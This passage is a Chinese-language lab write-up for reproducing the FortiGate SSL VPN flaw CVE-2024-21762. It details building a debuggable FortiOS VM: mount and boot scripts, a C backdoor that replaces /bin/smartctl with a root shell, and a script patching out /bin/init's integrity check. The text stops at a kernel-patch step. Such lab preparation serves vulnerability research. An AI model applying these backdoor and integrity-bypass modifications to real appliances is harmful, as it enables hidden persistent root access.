漏洞复现_CVE-2024-21762_Fortigate

介质下载

可见大善人:Fortinet FortiOS

配置基础

可见:VMware虚拟机安装FortiGate永久试用版并配置强制门户

漏洞信息

CVE-2024-21762 是 FortiGate SSL VPN 里的一个越界写漏洞,可以一路做到远程代码执行。

CVSS v3 给了 9.8,机密性、完整性、可用性三项全中。

利用不需要有效账号,也不需要用户点任何东西。

受影响版本

FortiOS:

  • 6.0.0 至 6.0.17(修复版本 6.0.18)
  • 6.2.0 至 6.2.15(修复版本 6.2.16)
  • 6.4.0 至 6.4.14(修复版本 6.4.15)
  • 7.0.0 至 7.0.13(修复版本 7.0.14)
  • 7.2.0 至 7.2.6(修复版本 7.2.7)
  • 7.4.0 至 7.4.2(修复版本 7.4.3)

FortiProxy:

  • 1.2 全版本(需迁移至更新版本)
  • 2.0.0 至 2.0.13(修复版本 2.0.14)
  • 7.0.0 至 7.0.14(修复版本 7.0.15)
  • 7.2.0 至 7.2.8(修复版本 7.2.9)

本次靶机固件:FGT_VM64_KVM-v7.4.0.F-build2360。

内核 4.19.13,2023 年 5 月编的。

/bin/sslvpnd、/bin/httpsd、/bin/cmdbsvr 这些全都不是独立程序,是一堆指向同一个文件的符号链接。

真正干活的是 /bin/init,73299976 字节,按 argv[0] 分发。

check:

1
2
3
4
5
6
7
8
9
10
11
12
$ file bin/init
bin/init: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /fortidev/lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=a798de13f43b87d79af460f1f9fc08f5fc101ace,
for GNU/Linux 3.2.0, stripped

$ readelf -h bin/init | grep Type
Type: EXEC (Executable file)

$ readelf -lW bin/init | grep -E 'GNU_STACK|GNU_RELRO'
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x3f99868 0x000000000439a868 0x000000000439a868 0x03d798 0x03d798 R 0x1

64 位,非 PIE,imagebase 0x400000。

NX 开、Canary 开(__stack_chk_fail 在导入表里)、RELRO 只做了一半 —— .got.plt 在 0x43d8000,刚好落在 RELRO 段外面,还能写。

漏洞环境准备

这一节是整个复现里最磨人的部分。

目录与脚本布局

工作根目录任意,下文统一用 fgt/ 代指,所有命令都在这个根目录下执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fgt/
├── fortios.qcow2 工作镜像(最后要写它)
├── fortios.qcow2.bak 原始镜像(只读,抠原始文件用)
├── scripts/
│ ├── mount.sh 挂载 p1/p2
│ ├── umount.sh 卸载
│ ├── rebuild.sh 重打包并写回镜像
│ └── start.sh 前台启动 QEMU,串口直通终端
├── mnt/p1, mnt/p2 挂载点
├── rootfs_file/ 解包出来的根文件系统
├── artifacts/
│ ├── patch_equal.py patch flatkc
│ ├── patch_init_full.py patch /bin/init
│ ├── orig/ 从 .bak 取的原始 flatkc / rootfs.gz
│ ├── flatkc.patched 打好补丁的内核
│ └── init.full.patched 打好补丁的 init
└── build/
├── smartctl.c 后门源码
├── smartctl 编译产物
└── bin.tar.xz.orig 塞好程序但 init 未换的包

启动环境

下载好 fortios.qcow2 可以直接启动做初始化。

建议把管理 IP 配成 192.168.100.250,后面所有脚本都按这个地址写。

还要自己放行要用的端口,把 sslvpnd 和 smap 这两个服务启起来。

scripts/start.sh 只有两个用法:

1
2
./scripts/start.sh --accel kvm --net tap    # 前台启动,串口直通终端
./scripts/start.sh --cleanup # 收尾(杀 qemu + 清 tap/网桥/NAT)

scripts/start.sh 全文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#!/bin/sh
# scripts/start.sh — 启动 FortiGate VM
#
# 只有两个用法:
# ./scripts/start.sh --accel kvm --net tap 前台启动,串口直通终端
# ./scripts/start.sh --cleanup 收尾(杀 qemu + 清 tap/网桥/NAT)
#
# 环境变量:
# IMG=... 镜像文件(默认 fortios.qcow2)
# LOG=... 日志文件(默认 /tmp/fgt.log)
# MEM=... 内存 MB(默认 1500)
# SMP=... vCPU 数(默认 2;嵌套虚拟化下越少越稳,可 SMP=1)
# BR=br0 TAP=tap0 SUBNET=192.168.100 GW=192.168.100.1 网桥/tap 参数
#

set -u
cd "$(dirname "$0")/.."

IMG=${IMG:-fortios.qcow2}
LOG=${LOG:-/tmp/fgt.log}
MEM=${MEM:-1500}
SMP=${SMP:-2}
BR=${BR:-br0}
TAP=${TAP:-tap0}
SUBNET=${SUBNET:-192.168.100}
GW=${GW:-$SUBNET.1}
DHCP_START=${DHCP_START:-$SUBNET.100}
DHCP_END=${DHCP_END:-$SUBNET.200}

# 路径含空格会让参数拼接出错,直接拒绝(比默默出错好)
case "$IMG" in
*" "*) echo "[!] IMG 路径不能含空格: $IMG" >&2; exit 2 ;;
esac

# ---------------------------------------------------------------- 参数解析
DO_CLEANUP=0
ACCEL=
NET=
while [ $# -gt 0 ]; do
case "$1" in
--cleanup) DO_CLEANUP=1 ;;
--accel) shift; ACCEL=${1:-} ;;
--net) shift; NET=${1:-} ;;
*) echo "[!] 未知参数: $1" >&2
echo " 用法: ./scripts/start.sh --accel kvm --net tap" >&2
echo " ./scripts/start.sh --cleanup" >&2
exit 2 ;;
esac
shift
done

# 启动时必须两个参数都给全,别让人以为有别的加速器/网络可选
if [ "$DO_CLEANUP" = 0 ]; then
[ "$ACCEL" = kvm ] || { echo "[!] 只支持 --accel kvm" >&2; exit 2; }
[ "$NET" = tap ] || { echo "[!] 只支持 --net tap" >&2; exit 2; }
fi

# ---------------------------------------------------------------- 网络管理
wan_if() { ip route show default 2>/dev/null | awk 'NR==1{print $5}'; }

net_dhcp_stop() {
[ -f /tmp/fgt-dnsmasq.pid ] || return 0
sudo kill "$(cat /tmp/fgt-dnsmasq.pid)" 2>/dev/null
sudo rm -f /tmp/fgt-dnsmasq.pid
}

net_setup() {
WAN=$(wan_if)
echo "[*] 配置 tap 网络: $BR ($GW/24) + $TAP,NAT 出口 ${WAN:-无}"

if ! ip link show "$BR" >/dev/null 2>&1; then
sudo ip link add "$BR" type bridge || return 1
fi
sudo ip link set "$BR" up

if ! ip -4 addr show "$BR" | grep -q "inet $GW/"; then
sudo ip addr add "$GW/24" dev "$BR" || return 1
fi

if ! ip link show "$TAP" >/dev/null 2>&1; then
sudo ip tuntap add dev "$TAP" mode tap user "$(id -un)" || return 1
fi
sudo ip link set "$TAP" master "$BR"
sudo ip link set "$TAP" up

sudo sysctl -qw net.ipv4.ip_forward=1
if [ -n "${WAN:-}" ]; then
sudo iptables -t nat -C POSTROUTING -s "$SUBNET.0/24" -o "$WAN" -j MASQUERADE 2>/dev/null \
|| sudo iptables -t nat -A POSTROUTING -s "$SUBNET.0/24" -o "$WAN" -j MASQUERADE
sudo iptables -C FORWARD -i "$BR" -o "$WAN" -j ACCEPT 2>/dev/null \
|| sudo iptables -A FORWARD -i "$BR" -o "$WAN" -j ACCEPT
sudo iptables -C FORWARD -i "$WAN" -o "$BR" -m state --state RELATED,ESTABLISHED -j ACCEPT 2>/dev/null \
|| sudo iptables -A FORWARD -i "$WAN" -o "$BR" -m state --state RELATED,ESTABLISHED -j ACCEPT
else
echo "[!] 找不到默认路由,跳过 NAT(guest 只能访问宿主机)"
fi

# FortiGate VM 的 port1 默认是 DHCP 客户端,直接给它发地址最省事
if command -v dnsmasq >/dev/null 2>&1; then
net_dhcp_stop
sudo dnsmasq --conf-file=/dev/null \
--port=0 --interface="$BR" --bind-interfaces \
--dhcp-range="$DHCP_START,$DHCP_END,12h" \
--dhcp-option=3,"$GW" --dhcp-option=6,"$GW" \
--pid-file=/tmp/fgt-dnsmasq.pid \
--dhcp-leasefile=/tmp/fgt-dnsmasq.leases
echo "[*] dnsmasq DHCP: $DHCP_START-$DHCP_END,网关 $GW"
fi
}

net_cleanup() {
net_dhcp_stop
WAN=$(wan_if)
if [ -n "${WAN:-}" ]; then
sudo iptables -t nat -D POSTROUTING -s "$SUBNET.0/24" -o "$WAN" -j MASQUERADE 2>/dev/null
sudo iptables -D FORWARD -i "$BR" -o "$WAN" -j ACCEPT 2>/dev/null
sudo iptables -D FORWARD -i "$WAN" -o "$BR" -m state --state RELATED,ESTABLISHED -j ACCEPT 2>/dev/null
fi
sudo ip link del "$TAP" 2>/dev/null
sudo ip link del "$BR" 2>/dev/null
echo "[*] 已清理 $TAP / $BR / NAT 规则"
}

# 所有 qemu 的 pid,精确匹配进程名
qemu_pids() { ps -eo pid,comm | awk '$2 ~ /^qemu-system-x86/ {print $1}'; }

# ---------------------------------------------------------------- 收尾模式
if [ "$DO_CLEANUP" = 1 ]; then
for p in $(qemu_pids); do sudo kill "$p" 2>/dev/null; done
sleep 1
for p in $(qemu_pids); do sudo kill -9 "$p" 2>/dev/null; done
net_cleanup
exit 0
fi

# ---------------------------------------------------------------- 启动模式
# KVM 必须先确认可访问,否则 qemu 会报一堆看不懂的错
if ! sudo test -r /dev/kvm; then
echo "[!] /dev/kvm 不可访问" >&2
echo " 检查: ls -l /dev/kvm ; sudo usermod -aG kvm \$USER ; 宿主是否开了嵌套虚拟化" >&2
exit 1
fi

net_setup || { echo "[!] tap 网络配置失败" >&2; exit 1; }

# 前台退出(Ctrl-C 或 qemu 自己挂)时把网络收干净
trap 'net_cleanup' EXIT INT TERM

# 清掉旧实例:用精确进程名,避免 pkill -f 匹配到本脚本自身(曾因此 SIGKILL 掉 SSH 会话)
for p in $(qemu_pids); do sudo kill -9 "$p" 2>/dev/null; done
sleep 1

echo "[*] 启动 $IMG (kvm, -cpu host, -smp $SMP, tap $TAP)"
echo "[*] 串口直通本终端,到 login: 敲 admin 回车登录"
echo "[*] 日志同时写入 $LOG(另开终端 tail -f $LOG 可看)"
echo

# -nographic: 串口 stdin/stdout 就是当前终端
# tee: 顺手把输出落一份日志,退出后还能翻
sudo qemu-system-x86_64 \
-accel kvm -cpu host -m "$MEM" -smp "$SMP" -machine q35 \
-drive file="$IMG",if=virtio,format=qcow2 \
-netdev tap,id=net0,ifname="$TAP",script=no,downscript=no \
-device virtio-net-pci,netdev=net0 \
-nographic -no-reboot 2>&1 | tee "$LOG"

跑起来是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[*] 配置 tap 网络: br0 (192.168.100.1/24) + tap0,NAT 出口 enp0s3
[*] dnsmasq DHCP: 192.168.100.100-192.168.100.200,网关 192.168.100.1
[*] 启动 fortios.qcow2 (kvm, -cpu host, -smp 2, tap tap0)
[*] 串口直通本终端,到 login: 敲 admin 回车登录
[*] 日志同时写入 /tmp/fgt.log(另开终端 tail -f /tmp/fgt.log 可看)

SeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1)
Booting from Hard Disk...
SYSLINUX 6.04 EDD 6.04-pre1 Copyright (C) 1994-2015 H. Peter Anvin et al
Loading flatkc... ok
Loading /rootfs.gz...ok
System is starting...
...
FGVM324FN00KXRQJ login:

--accel kvm --net tap 里每个值都只有一种选择,写出来是为了把行为钉死:KVM 加速 + tap 网桥。

--cleanup 是它的反操作:杀 qemu、删 tap/网桥、摘 NAT 规则。

用完收尾:

1
./scripts/start.sh --cleanup     # 杀 qemu + 清 tap/网桥/NAT

工作目录初始化

先建目录骨架,后面每一步都往这几个位置写:

1
mkdir -p mnt/p1 mnt/p2 artifacts build

再装 zopfli —— 后面重压内核必须用它,系统 python 里没有:

1
2
3
4
5
if [ ! -x /tmp/zv/bin/python3 ]; then
python3 -m venv /tmp/zv
/tmp/zv/bin/pip install -q zopfli
fi
/tmp/zv/bin/python3 -c 'from zopfli import gzip; print("[+] zopfli ok")'

依赖也得确认在位:

1
2
3
command -v qemu-nbd    # apt install qemu-utils
command -v cpio
command -v xz

镜像要分清,这一节全程都在用两个不同的文件:

文件 用途 什么时候用
fortios.qcow2.bak 原始未修改镜像 取原始 flatkc / rootfs.gz / trailer
fortios.qcow2 工作镜像 只在 rebuild.sh 回写时改它

两个外部工具需要自行准备:

busybox:用发行版的包管理器装就行(apt install busybox-static),要静态链接的那种。

1
2
3
ls -l /usr/bin/busybox
# -rwxr-xr-x ... /usr/bin/busybox
file /usr/bin/busybox | grep -o 'statically linked'

gdbserver:多数发行版的包管理器里没有,得自己备。要求静态链接的 x86-64 版:

1
2
3
# 方式一:从目标固件里拷(如果它能跑)
# 方式二:交叉编译 / 静态编译
gcc -static -O2 -o build/gdbserver gdbserver.c # 源码取自 gdb 包

放 build/gdbserver,后面塞进固件时从这里取。

1
file build/gdbserver | grep -o 'statically linked'

挂载磁盘

qcow2 是写时复制格式,mount -o loop,offset= 直接读出来是垃圾。

得先 qemu-nbd 翻译成块设备。

scripts/mount.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/sh
# scripts/mount.sh — 挂载 fortios.qcow2 的分区
# 用法(在根目录下):
# ./scripts/mount.sh 挂载 p1 -> ./mnt/p1, p2 -> ./mnt/p2
# ./scripts/mount.sh --ro 只读挂载(第一次看结构建议这样)
# IMG=fortios.qcow2.bak ./scripts/mount.sh 挂原始镜像
# ./scripts/umount.sh 卸载
set -u
cd "$(dirname "$0")/.."

IMG=${IMG:-fortios.qcow2}
RO=""
[ "${1:-}" = "--ro" ] && RO="-o ro"

mkdir -p mnt/p1 mnt/p2

# 清掉残留:QEMU 还占着镜像时 nbd 一定连不上
for p in $(ps -eo pid,comm | awk '$2 ~ /^qemu-system-x86/ {print $1}'); do
kill -9 "$p" 2>/dev/null
done
sudo umount mnt/p1 mnt/p2 2>/dev/null
sudo qemu-nbd --disconnect /dev/nbd0 2>/dev/null
sleep 1

sudo modprobe nbd max_part=8 # ★ 默认 max_part=0,不会生成 nbd0p1
sudo qemu-nbd --connect=/dev/nbd0 "$IMG" || exit 1
sleep 2
lsblk /dev/nbd0

sudo mount $RO /dev/nbd0p1 mnt/p1 || exit 1
sudo mount $RO /dev/nbd0p2 mnt/p2 || exit 1

echo "[*] p1 (flatkc / rootfs.gz / extlinux) -> mnt/p1"
echo "[*] p2 (data) -> mnt/p2"

scripts/umount.sh:

1
2
3
4
5
6
7
#!/bin/sh
# scripts/umount.sh — 卸载分区并断开 nbd
set -u
cd "$(dirname "$0")/.."
sudo umount mnt/p1 mnt/p2 2>/dev/null
sudo qemu-nbd --disconnect /dev/nbd0 2>/dev/null
echo "[*] 已卸载"

max_part=8 这条不加,lsblk 只能看到一个 nbd0,然后就对着空白挂载点怀疑人生。

挂上之后的真实分区表:

1
2
3
4
5
6
7
8
Disk /dev/nbd0: 2 GiB, 2147483648 bytes, 4194304 sectors
Disklabel type: dos
Disk identifier: 0x4d06e253

Device Boot Start End Sectors Size Id Type
/dev/nbd0p1 * 2048 526335 524288 256M 83 Linux ← 内核 + initrd + 引导器
/dev/nbd0p2 526336 4063231 3536896 1.7G 83 Linux ← /data 数据分区
/dev/nbd0p3 4063232 4194303 131072 64M ef EFI

只有 p1 跟启动有关,p2 是运行期数据(配置、日志、crash、geoip),p3 是 EFI 占位。

p1 里躺着这些东西:

1
2
3
4
5
6
.db                858 B    完整性清单(明文 JSON)
.db.x 13735 B .db 的 PKCS#7 签名
flatkc 7346368 B ★ 内核
rootfs.gz 64691870 B ★ initrd(gzip + 尾部 256B)
datafs.tar.gz 15466660 B /data 初始内容
extlinux.conf 166 B 引导参数,ramdisk_size 在这里

取出文件系统

挂上之后能看到 p1,但真正的根文件系统在 rootfs.gz 里,得先解出来才能进去翻。

它是 gzip + 尾部 256 字节 trailer,直接 tar 没用,得走 cpio。

解开就三步:

1
2
3
4
5
6
7
8
9
10
# 1) gzip -> newc cpio
# 注意尾部那 256 字节 trailer,gunzip 会报 "trailing garbage ignored" 并返回 2
gunzip -c mnt/p1/rootfs.gz > rootfs_file.cpio || [ $? -eq 2 ]

# 2) cpio 解包
mkdir -p rootfs_file
( cd rootfs_file && cpio -idm < ../rootfs_file.cpio )

# 3) 看体积
du -sh rootfs_file

期望输出:

1
101M    rootfs_file

实测 cpio 是 105154864 字节,解完 101 MB。

gunzip 那句的 || [ $? -eq 2 ] 不是摆设。

尾部 trailer 不是 gzip 数据,gunzip 解完会提示 trailing garbage ignored 并返回 2,但输出文件是完整的。

在 set -e 的脚本里不加这个放行,会停在这儿、后面全不跑,而 cpio 明明已经生成好了 —— 特别容易误判成「解包失败」。

跑完 rootfs_file/ 就成型了,mnt/p1 这时候还挂着,接着用。

后面不再需要它的时候再 ./scripts/umount.sh(「放入程序」那节会自己重挂 .bak,所以那时挂不挂都行)。

解完的顶层长这样:

1
2
3
4
5
6
7
8
9
10
11
12
rootfs_file/
├── init -> /sbin/init ← 符号链接,绝对路径,等会儿要用
├── sbin/init 23144 引导用的真正 init(不是我们补的那个)
├── bin.tar.xz 29463024 ★ /bin 整个目录被打包在这里
├── migadmin.tar.xz 12558028
├── node-scripts.tar.xz 484160
├── usr.tar.xz 148452
├── etc -> data/etc
├── lib64 -> /lib
├── fortidev -> /
├── lib/ usr/ dev/ proc/ sys/ tmp/
└── data/ data2/ var/ boot/

需要注意的是,/bin 不是目录,而是一个 bin.tar.xz。

运行期的 /bin/init 在包里,不在 cpio 顶层。

所以想看 bin/init 必须再剥一层。

但别在 rootfs_file/ 里面剥 —— 那个目录是后面 cpio 打包的源,在这里解出 bin/ 会被重复打进去:

1
2
解之前:1985 个条目,204 MB
解之后:2185 个条目,315 MB ← bin/ 被额外塞进去了

正确做法是扔到临时目录看:

1
2
3
mkdir -p /tmp/rf && cd /tmp/rf
tar -xf "$OLDPWD/rootfs_file/bin.tar.xz"
ls bin/init # 73299976

剥开之后才有得看:

1
2
3
4
5
$ file bin/init
bin/init: ELF 64-bit LSB executable, x86-64, ... stripped

$ tar -tf rootfs_file/bin.tar.xz | wc -l
198

198 个条目里,bin/sslvpnd、bin/httpsd、bin/cmdbsvr 这些全是 -> /bin/init 的符号链接。

真身只有一个,按 argv[0] 分发。

这就是为什么逆向一个文件等于逆向一整套守护进程。

lib/ 里还有几个要留意的:

1
2
lib/libjemalloc.so.2   539264   堆分配器,堆喷全靠它
lib/libc.so.6 有 /bin/sh 调用链

拿到 bin/init 就能丢进 IDA 了,这一步先到此为止。

放入程序

文件系统拿出来了,改之前得先想清楚要塞什么进去、放哪儿。

要动的东西一共四个:

放哪 放什么 为什么
bin/busybox 静态 busybox 后门和 sh 的落点
bin/gdbserver 静态 gdbserver --attach 远程调试
bin/sh 改指向 -> /bin/busybox 让 system() 能跑
bin/smartctl 换成 exec busybox 的后门 从 CLI 落到 root shell 的入口

smartctl 那个后门,先写源码到 build/smartctl.c:

1
2
3
4
5
6
7
#include <stddef.h>
#include <unistd.h>

void main(){
char *args[] = {"/bin/busybox", "sh", NULL};
execve("/bin/busybox", args, NULL);
}

编译走静态链接(file 显示 statically linked, not stripped):

1
2
gcc -static -O2 -o build/smartctl build/smartctl.c
chmod 755 build/smartctl

这一步必须在塞程序之前做完,后面要 cp build/smartctl,文件不在会直接失败。

产物体积随 gcc 版本浮动,800 KB 出头就对了:

1
2
ls -l build/smartctl
# -rwxr-xr-x 1 user user 816xxx ... build/smartctl

四个东西准备好,下列命令塞进去重打包。

先存一份原始内核,patch 内核那步要用:

1
2
3
4
5
6
7
8
9
10
11
mkdir -p artifacts/orig
sudo umount mnt/p1 2>/dev/null || true
sudo qemu-nbd --disconnect /dev/nbd0 2>/dev/null || true
sudo modprobe nbd max_part=8
sudo qemu-nbd --connect=/dev/nbd0 fortios.qcow2.bak
sleep 2
sudo mount -o ro /dev/nbd0p1 mnt/p1
cp mnt/p1/rootfs.gz artifacts/orig/rootfs.gz
cp mnt/p1/flatkc artifacts/orig/flatkc
sudo umount mnt/p1 # 必须先 umount 再 disconnect
sudo qemu-nbd --disconnect /dev/nbd0

然后从原始 rootfs.gz 里抠出 bin.tar.xz 并塞程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
WORK=$(mktemp -d /tmp/fgtbin.XXXXXX)

# 1) rootfs.gz -> cpio -> bin.tar.xz
gunzip -c artifacts/orig/rootfs.gz > "$WORK/rootfs.cpio" || [ $? -eq 2 ]
( cd "$WORK" && cpio -id bin.tar.xz < rootfs.cpio 2>/dev/null )

# 2) 解开 bin.tar.xz
mkdir -p "$WORK/tree"
tar -xf "$WORK/bin.tar.xz" -C "$WORK/tree"

# 3) 塞工具
cp /usr/bin/busybox "$WORK/tree/bin/busybox"
cp build/gdbserver "$WORK/tree/bin/gdbserver"
chmod 755 "$WORK/tree/bin/busybox" "$WORK/tree/bin/gdbserver"

# 4) 改 sh 指向 —— 原版指向 /bin/sysctl,那是个命令分发器,不是 shell
ln -sf /bin/busybox "$WORK/tree/bin/sh"

# 5) 换 smartctl 成后门
cp build/smartctl "$WORK/tree/bin/smartctl"
chmod 755 "$WORK/tree/bin/smartctl"

# 6) 重打包(条目只增不减)
# 注意是 tar -cf bin.tar bin,不是 tar -cf bin.tar .
# 带 . 会多出一个 ./ 顶层条目(200 → 201),前缀也全变 ./bin/xxx
( cd "$WORK/tree" && tar -cf "$WORK/bin.tar" bin )
xz -e -T0 "$WORK/bin.tar"
mkdir -p build
cp "$WORK/bin.tar.xz" build/bin.tar.xz.orig
rm -rf "$WORK"

tar -tf build/bin.tar.xz.orig | wc -l

期望最后一行输出 200。

注意 bin.tar.xz 只能从 .bak 里抠,不能直接用 rootfs_file/bin.tar.xz —— 那份可能已经改过了。

打包那条命令有一个字母的讲究。

tar -cf bin.tar bin 出来的路径是 bin/init,200 个条目,和原始包一致。

tar -cf bin.tar . 出来的路径是 ./bin/init,还多一个 ./ 顶层条目,变成 201 个:

1
2
tar -cf bin.tar .     →  ./  ./bin/  ./bin/init ...   201 条
tar -cf bin.tar bin → bin/ bin/init ... 200 条

两者都能用,但混着来会让你后面 tar -xOf 取文件时前缀对不上(见下一小节)。

实测算下来,这个包的变化是这样:

1
2
3
4
5
6
7
8
9
原始 bin.tar.xz   29463024 字节,198 个条目
bin/sh -> /bin/sysctl (276160 字节的命令分发器)
bin/smartctl 563544 (真·磁盘工具)

塞完之后 200 个条目
bin/busybox 2190672 新增
bin/gdbserver 2322296 新增
bin/sh -> /bin/busybox 改指向
bin/smartctl 816xxx 被换成后门

build/bin.tar.xz.orig 里的 “orig” 只表示「init 还没换」。

它已经含了 busybox / gdbserver / 改好的 sh 和替换过的 smartctl,下一步 patch init 就从这上面叠。

/bin/init 修补

程序都放进去了,接着改会被 exec 的那个二进制。

先把它捞出来。

直接从 build/bin.tar.xz.orig 里取,里面的 init 还是原始那份:

1
2
mkdir -p /tmp/vv/bin
tar -xOf build/bin.tar.xz.orig bin/init > /tmp/vv/bin/init

取完核指纹:

1
2
md5sum /tmp/vv/bin/init
# d299fb85a24583c9d5e5a94af2ad28e4

先搞清楚要改哪儿。

/bin/init 自己带一层完整性校验,main 开头第一件事就是它,这里会校验文件系统末尾的 256 字节签名:

1
2
3
4
5
4553a4  call sub_452D80      ; 完整性校验(fork 子进程做实际比较)
4553a9 test eax, eax
4553ab js loc_4556C2 ; 负数 = 失败
...
4556c2 call doHalt ; 关机

校验逻辑很朴素:返回负数就当失败,失败就往 doHalt 走,关机。

所以两处补丁,各 3 字节:

VA 文件偏移 原字节 补丁 作用
0x452D80 0x52D80 55 48 89 e5 41 54 48 83 EC 08 E8 71 31 c0 c3 校验函数直接返回 0
0x452BB0 0x52BB0 55 BE A5 05 00 00 31 c0 c3 doHalt 直接返回(兜底)

两个都是把函数开头换成 xor eax,eax; ret,让它什么都不干、直接返回成功。

doHalt 那条是兜底:万一校验还是返回了负数,也不至于真关机。

文件偏移不是 VA,两者差 0x400000,也就是 imagebase:

1
2
3
4
LOAD off=0x0        va=0x400000   fsz=0x3cd38      va-off=0x400000
LOAD off=0x3d000 va=0x43d000 fsz=0x2949075 va-off=0x400000
LOAD off=0x2987000 va=0x2d87000 fsz=0x1612168 va-off=0x400000
LOAD off=0x3f99868 va=0x439a868 fsz=0x64d5e8 va-off=0x401000 ← 这条不齐

前三条是 0x400000,第四条(RELRO)是 0x401000,多出来的一页是对齐补的。

好在两个补丁地址都落在第二条里:0x452D80 - 0x400000 = 0x52D80,0x452BB0 - 0x400000 = 0x52BB0,和上表一致。

脚本还是老老实实走 PT_LOAD 查表,不依赖这个巧合 —— 万一换个版本布局变了,查表还能对。

artifacts/patch_init_full.py 全文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""patch /bin/init 的完整性校验, 让 "System file integrity check failed" 不再触发。

两条独立补丁
------------
1) sub_452D80 @ 0x452D80 -> xor eax,eax; ret
完整性校验函数本身。它 fork 子进程做实际校验,返回负数表示失败。
直接返回 0 即"校验通过"。
调用点: 0x4553a4 call sub_452D80 / 0x4553ab js 0x4556c2 -> do_halt

2) doHalt @ 0x452BB0 -> xor eax,eax; ret
关机函数。即使校验返回负数,也不会真的关机(兜底)

用法: python3 artifacts/patch_init_full.py <in_init> <out_init>
"""
import struct
import sys

PATCH_SUB452D80 = (0x452D80, bytes.fromhex("554889e541544883ec08e871"), bytes.fromhex("31c0c3"))
PATCH_DOHALT = (0x452BB0, bytes.fromhex("55bea5050000"), bytes.fromhex("31c0c3"))


def load_segments(d):
"""读出所有 PT_LOAD 的 (file_off, vaddr, filesz)"""
e_phoff = struct.unpack_from("<Q", d, 0x20)[0]
e_phentsize = struct.unpack_from("<H", d, 0x36)[0]
e_phnum = struct.unpack_from("<H", d, 0x38)[0]
segs = []
for i in range(e_phnum):
o = e_phoff + i * e_phentsize
if struct.unpack_from("<I", d, o)[0] != 1: # PT_LOAD
continue
off, va, _p, fsz, _m, _a = struct.unpack_from("<QQQQQQ", d, o + 8)
segs.append((off, va, fsz))
return segs


def va2off(segs, va):
for off, v, fsz in segs:
if v <= va < v + fsz:
return off + (va - v)
return None


def main():
if len(sys.argv) != 3:
print(__doc__)
return 2
src, dst = sys.argv[1], sys.argv[2]
d = bytearray(open(src, "rb").read())
segs = load_segments(d)
print(f"[*] {src} ({len(d)} bytes)")

ok = True
for name, (va, expect, patch) in (
("sub_452D80 (integrity check)", PATCH_SUB452D80),
("doHalt", PATCH_DOHALT),
):
off = va2off(segs, va)
if off is None:
print(f"[!] {name}: VA {hex(va)} 不在任何 LOAD 段")
ok = False
continue
cur = bytes(d[off:off + len(expect)])
if cur == patch + expect[len(patch):]:
print(f"[=] {name} @{hex(off)}: 已是补丁状态")
continue
if cur != expect:
print(f"[!] {name} @{hex(off)}: 字节不匹配 {cur.hex()} != {expect.hex()}")
ok = False
continue
d[off:off + len(patch)] = patch
print(f"[+] {name} @{hex(off)}: {expect.hex()} -> {patch.hex()} (xor eax,eax; ret)")

if not ok:
print("[!] 有补丁未应用, 仍写出以便检查")
open(dst, "wb").write(bytes(d))
print(f"[+] wrote {dst}")
return 0 if ok else 1


if __name__ == "__main__":
sys.exit(main())

跑法(在根目录下):

1
python3 artifacts/patch_init_full.py /tmp/vv/bin/init artifacts/init.full.patched

输出应该是两行 [+]:

1
2
3
4
[*] /tmp/vv/bin/init (73299976 bytes)
[+] sub_452D80 (integrity check) @0x52d80: 554889e541544883ec08e871 -> 31c0c3 (xor eax,eax; ret)
[+] doHalt @0x52bb0: 55bea5050000 -> 31c0c3 (xor eax,eax; ret)
[+] wrote artifacts/init.full.patched

看到 [=] 已是补丁状态 就说明喂进去的是改过的文件,回去重新抠原始那份。

逐字节对比原版和补丁版,全文件只差这 6 个字节:

1
2
3
4
5
6
7
8
9
same_len True 73299976 73299976
diff_bytes 6
offsets ['0x52bb0', '0x52bb1', '0x52bb2', '0x52d80', '0x52d81', '0x52d82']
0x52bb0: 55 -> 31 ; doHalt
0x52bb1: be -> c0
0x52bb2: a5 -> c3
0x52d80: 55 -> 31 ; sub_452D80
0x52d81: 48 -> c0
0x52d82: 89 -> c3

整个 73 MB 的文件,跟原版只差 6 个字节。

长度一点没动,ELF 布局一点没动。

这是最舒服的补丁形态。

补丁版 md5 是 6b2f2a9e39b95fc898dd75a316a66f07。

产物 artifacts/init.full.patched 先放着,等 rootfs 重打包那一步再盖进 bin.tar.xz。

内核修补

/bin/init 改完了,但内核还不让过。

启动链是这样的:引导器 → flatkc(内核)→ 校验 rootfs.gz 的 trailer → 解包 initramfs → exec /sbin/init → /bin/init。

/bin/init 这层我们自己解决了,可它上面还有一层:内核在解包 initrd 前会调 fgt_verify_initrd 比对 .db 里的 SHA512。

我们改了 rootfs.gz,哈希必然对不上,于是内核直接 panic。

这一层绕不过去,只能改内核本身。

flatkc 不是标准 bzImage,头部三个字段自己算。

拿原镜像实测的解析结果:

1
2
3
4
5
6
7
8
9
file            = 7346368   (0x7018c0)
setup_sects-1 = 0x1E → setup_len = 31 × 512 = 0x3E00
payload_offset = 0x3B4
payload_length = 0x6D6926

⇒ gzip 起点 = 0x3E00 + 0x3B4 = 0x41B4
